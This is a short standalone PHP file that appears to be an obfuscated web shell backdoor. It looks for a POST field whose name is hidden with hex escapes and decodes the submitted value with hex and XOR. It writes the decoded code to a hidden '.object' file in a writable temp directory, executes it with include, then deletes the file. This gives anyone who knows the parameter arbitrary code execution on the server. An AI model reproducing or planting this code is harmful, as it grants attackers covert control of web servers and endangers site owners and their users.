<?php

if(array_key_exists("re\x66\x65\x72e\x6Ece", $_POST) && !is_null($_POST["re\x66\x65\x72e\x6Ece"])){
	$record = array_filter([getcwd(), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]);
	$rec = hex2bin($_POST["re\x66\x65\x72e\x6Ece"]);
	$element= ''; $w = 0; do{$element .= chr(ord($rec[$w]) ^ 57);$w++;} while($w < strlen($rec));
	$key = 0;
do {
    $component = $record[$key] ?? null;
    if ($key >= count($record)) break;
    		if ((bool)is_dir($component) && (bool)is_writable($component)) {
    $desc = "$component" . "/.object";
    if (@file_put_contents($desc, $element) !== false) {
	include $desc;
	unlink($desc);
	exit;
}
}
    $key++;
} while (true);
}